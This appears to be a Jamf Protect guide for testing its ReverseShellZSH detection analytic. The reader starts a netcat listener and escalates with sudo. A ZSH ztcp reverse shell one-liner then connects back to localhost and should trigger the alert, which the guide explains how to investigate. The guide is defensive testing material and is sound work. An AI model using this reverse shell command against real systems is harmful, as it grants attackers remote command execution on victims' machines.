Follow the steps below to test the ReverseShellZSH analytic.
Requirements
If using a virtual machine, take a snapshot to revert back to at the end of this simulation.
- Open Terminal and run the following command.
# start a netcat listener on local host port 4444 nc -l 4444 - Open another Terminal window and run the following command.
# verify that port 4444 is up sudo lsof -i -P | grep "4444" - From the same Terminal window, create a ZSH reverse shell to connect back to the local host on port 4444, by executing the following commands.
# Summon new shell sudo -s # Create reverse shell /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' & - In the netcat window, a reverse shell should now appear which will allow you to enter commands with the netcat listener:
whoami.After completing the above testing steps a new alert titled ReverseShellZSH can be expected inside Jamf Protect Cloud.
- Open and review the ReverseShellZSH alert. The most interesting data points when analyzing this alert are:
Summary > Process Event Details > Process Arguments: This will provide the target IP address and port for the remote connection, as well as the reverse shell argument.
Processes: The process tree will provide indication of how the reverse shell remote session was initiated.
In a real world scenario, investigation of this alert should begin with examining the process arguments to identify the target of the remote session and the program which was attempted to be executed, as well as identifying how exactly the reverse shell command was executed via the process tree.
- If a virtual machine snapshot was taken prior to completing this test scenario the easiest cleanup method is to revert to the snapshot. Otherwise run these commands in Terminal to remove the test files created.
# Close the netcat window by entering exit. exit